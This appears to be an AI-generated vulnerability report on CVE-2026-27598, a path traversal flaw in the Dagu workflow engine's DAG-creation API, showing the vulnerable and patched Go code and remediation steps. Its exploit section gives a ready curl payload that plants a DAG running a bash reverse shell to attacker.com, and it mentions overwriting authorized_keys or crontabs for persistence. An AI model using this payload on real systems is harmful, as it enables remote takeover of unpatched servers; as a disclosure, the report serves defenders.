CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27598

Dagu Path Traversal: When 'Absolute' Power Corrupts Absolutely

Alon Barad
Alon Barad
Software Engineer

Feb 25, 2026·6 min read·51 visits

Executive Summary (TL;DR)

Unsanitized input in Dagu's `CreateNewDAG` API allows attackers to use directory traversal sequences (`../`) to write files anywhere on the host. Because Dagu executes the contents of these files, this leads to immediate RCE.

A critical Path Traversal vulnerability in the Dagu workflow engine allows attackers to break out of the intended storage directory. By manipulating the DAG name in the API, an attacker can write arbitrary YAML files anywhere on the filesystem. Since Dagu's primary function is executing shell commands defined in these files, this vulnerability grants unbridled Remote Code Execution (RCE) capabilities, turning a helpful automation tool into a hacker's playground.

The Hook: A Workflow Engine with a Wandering Eye

Meet Dagu. It's a slick, self-proclaimed "cron replacement" written in Go. It loves DAGs (Directed Acyclic Graphs), it loves YAML, and most importantly, it loves executing shell commands to get work done. Developers use it to automate data pipelines, deployments, and backups. It is, by design, a remote command execution engine wrapped in a nice UI.

Now, usually, when you build a tool that executes commands based on files, you want to keep those files in a very specific, locked-down padded room. You don't want the user telling the engine where to put the logic. But Dagu had a bit of a blind spot. It assumed that when a user named a new workflow, they would play nice.

CVE-2026-27598 is the story of what happens when you let user input dictate filesystem operations. It turns out, if you let a user name their project ../../../../etc/cron.d/pwned, computers will dutifully oblige. This isn't just a bug; it's a skeleton key to the server's filesystem.

The Flaw: The 'Absolute' Trap

The vulnerability lives in the CreateNewDAG API endpoint. When you send a POST request to create a new workflow, you provide a JSON body with a name field. Dagu takes this name and needs to figure out where to store the corresponding YAML file on disk.

Most secure applications would strip out any special characters, hash the name, or strictly append it to a base directory. Dagu, however, had a logic bomb in internal/persis/filedag/store.go. The developers likely wanted to support absolute paths for internal flexibility, but they exposed this logic to the public API.

Here is the fatal logic flaw:

> 1. Check if the name contains a slash or separator. > 2. If it does, resolve it to an absolute path. > 3. If it resolves successfully, write the file there.

It completely ignored the configured baseDir (the safe sandbox) if the user provided a path separator. It didn't sanitize ../ sequences. It just saw a path, said "looks like a path to me," and handed it off to the OS to write. This is the programmatic equivalent of a bank teller letting you walk into the vault because you showed up wearing a vest that said 'Vault Inspector'.

The Code: The Smoking Gun

Let's look at the actual Go code responsible for this mess. This snippet is from generateFilePath in the vulnerable version. It vividly demonstrates the logic failure.

// Vulnerable Code in internal/persis/filedag/store.go
func generateFilePath(baseDir, name string) (string, error) {
    // If the name looks like a path, treat it as an absolute path!
    if strings.Contains(name, string(filepath.Separator)) {
        filePath, err := filepath.Abs(name)
        if err == nil {
            return filePath, nil // <--- The smoking gun
        }
    }
    // ... otherwise join with baseDir
}

See that? If I send name: "../../tmp/evil", strings.Contains returns true. filepath.Abs resolves it relative to the working directory, effectively breaking out of baseDir. The function returns the escaped path immediately, bypassing any sandbox logic.

Now, look at the fix in commit e2ed589105d79273e4e6ac8eb31525f765bb3ce4. The developers had to nuke this logic entirely and enforce containment.

// Patched Code
func generateFilePath(baseDir, name string) (string, error) {
    // 1. Strip directory traversal shenanigans
    cleanName := filepath.Base(name)
    
    // 2. Force the path to be inside baseDir
    filePath := filepath.Join(baseDir, cleanName)
    
    // 3. Verify we didn't escape (Defense in Depth)
    if !strings.HasPrefix(filePath, baseDir) {
        return "", fmt.Errorf("invalid path")
    }
    return filePath, nil
}

The fix forces filepath.Base(), which strips everything except the final filename (turning ../../tmp/evil into just evil). It then explicitly joins it with baseDir and verifies the prefix. Simple, effective, and what should have been there day one.

The Exploit: Escaping the Jail

Exploiting this is trivially easy. We don't need buffer overflows or heap grooming. We just need curl and a dream.

The Attack Scenario: We want to execute code as the user running Dagu. Since Dagu runs YAML files, we can just write a malicious YAML file. But where? We could overwrite an existing config, or we could write to a location that we know executes scripts (like init.d or cron if we are lucky with permissions). Or, we can simply write a DAG file to a hidden directory we control.

Here is the payload:

curl -X POST http://target:8080/api/v1/dags \
  -H "Content-Type: application/json" \
  -d '{
    "name": "../../tmp/pwned_dag",
    "spec": "steps:\n  - name: RCE\n    command: bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\""
  }'

What happens next?

  1. The API receives the request.
  2. generateFilePath sees the / in the name.
  3. It resolves the path to /tmp/pwned_dag.yaml (assuming Dagu is running in a standard path).
  4. It writes our malicious YAML payload to that location.
  5. If Dagu is configured to watch that directory (or if we overwrote an existing DAG in the active directory), the reverse shell triggers immediately.

Even without immediate execution, this is an Arbitrary File Write. We could overwrite the dagu.yaml configuration file to disable authentication, or overwrite SSH authorized_keys if the process runs with high privileges.

The Impact: Why This Matters

This vulnerability is rated High (CVSS 7.1) for a reason. While the vector implies a "File Write," the context is a Workflow Engine. In this context, File Write == Code Execution.

If an attacker can write a DAG, they define the shell commands Dagu executes. The traversal allows them to:

  1. Bypass Access Controls: By writing to directories outside the standard DAG storage, they might bypass backup routines or auditing tools monitoring the main folder.
  2. System Sabotage: Overwriting critical system files (denial of service).
  3. Persistence: Writing to startup folders or crontabs to maintain access even if Dagu is restarted.

Since many of these tools run in containerized environments (often as root inside the container), escaping the application directory can often mean full container compromise.

The Fix: Defense in Depth

The remediation is straightforward but serves as a crucial lesson in Go security.

1. Sanitize Input at the Gate: The API handler now explicitly calls core.ValidateDAGName(), which rejects names containing . or .. before they even reach the storage layer.

2. Anchor the Path: The storage layer uses filepath.Base() to ensure that even if a bad name slips through validation, it is treated as a flat filename, not a path.

3. Verify the Result: The use of strings.HasPrefix ensures that the final resolved path is mathematically strictly inside the allowed directory. This pattern is the gold standard for preventing path traversal in Go.

Immediate Action for Users: Upgrade to a version containing commit e2ed589. If upgrading isn't possible, you must ensure the Dagu process runs with the absolute minimum filesystem permissions—it should technically only need write access to its specific data directory, nowhere else.

Official Patches

dagu-orgOfficial patch commit

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Affected Systems

Dagu Workflow Engine <= 1.16.7

Affected Versions Detail

Product
Affected Versions
Fixed Version
dagu
dagu-org
<= 1.16.7Post-1.16.7 (Commit e2ed589)
AttributeDetail
CWECWE-22 (Path Traversal)
CVSS Score7.1 (High)
Attack VectorNetwork (API)
ImpactRemote Code Execution (RCE) / Arbitrary File Write
Exploit StatusPoC Available
Fixed Commite2ed589105d79273e4e6ac8eb31525f765bb3ce4

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

Researcher PoCCurl command demonstrating arbitrary file write via API

Vulnerability Timeline

Fix commit authored
2026-02-21
GHSA Advisory Published
2026-02-24
CVE Published
2026-02-25

References & Sources

  • [1]GHSA Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-107721
5.9

CVE-2026-107721: Time Validation Bypass in NearForm fast-jwt due to Loose Temporal Option Validation

NearForm fast-jwt prior to version 6.3.0 is vulnerable to an input validation flaw where configuring verifier properties (such as clockTolerance, clockTimestamp, and cacheTTL) with non-finite values like Infinity or NaN allows attackers to bypass temporal claim validations, including expiration (exp) and activation (nbf) boundaries. This validation bypass can result in unauthorized session persistence and cache poisoning.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 2 hours ago•CVE-2026-107722
9.8

CVE-2026-107722: Algorithm Confusion via Non-Whitespace Prefix Bypass in fast-jwt

A critical cryptographic vulnerability in fast-jwt versions 6.2.x prior to 6.3.0 allows unauthenticated remote attackers to execute an asymmetric-to-symmetric algorithm confusion attack due to incomplete validation of leading non-whitespace prefixes.

Amit Schendel
Amit Schendel
2 views•5 min read
•about 3 hours ago•CVE-2026-107720
7.4

CVE-2026-107720: Signature Verification Bypass in NearForm fast-jwt

CVE-2026-107720 is a critical signature verification bypass vulnerability in NearForm's fast-jwt Node.js library. Under specific configurations where the token verifier is initialized with a falsy cryptographic key (such as an empty string or null) and a non-empty algorithms allowlist, the library erroneously skips signature validation. This allows unauthenticated remote attackers to submit fabricated, unsigned JSON Web Tokens and bypass the authorization boundary of the application entirely.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 4 hours ago•CVE-2026-107715
6.8

CVE-2026-107715: Information Disclosure and Credential Leakage in Ruby Mechanize via Cross-Origin Redirections

Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.

Alon Barad
Alon Barad
6 views•7 min read
•about 5 hours ago•CVE-2026-107399
6.8

CVE-2026-107399: Information Disclosure via HTML Meta-Refresh in Ruby Mechanize

An origin trust boundary failure in the Ruby mechanize library (prior to v2.14.1) allows unauthenticated remote web servers to harvest sensitive global request headers, such as Authorization Bearer tokens and cookies, by utilizing HTML-level meta-refresh redirection tags. Standard HTTP-level redirect boundaries were not applied to document-level redirects, creating a vector for cross-origin credential leakage during automated crawls.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 6 hours ago•CVE-2026-107718
6.1

CVE-2026-107718: Open Redirect Vulnerability in @adonisjs/http-server

CVE-2026-107718 is a medium-severity Open Redirect vulnerability in the core HTTP server package of the AdonisJS Node.js framework. Prior to versions 8.2.3 and 9.3.0, the framework built route paths by directly interpolating dynamic parameters and wildcard segments without URI encoding. If an application routes attacker-controlled input directly to a dynamic first path segment and uses the generated route URL as a redirect destination, a leading slash can produce a scheme-relative external URL. Modern web browsers process scheme-relative URLs by redirecting the client to the specified external domain, exposing users to credential harvesting, social engineering, and session hijacking. This vulnerability affects all applications running unpatched configurations where input validation is not explicitly implemented before generating paths.

Alon Barad
Alon Barad
6 views•6 min read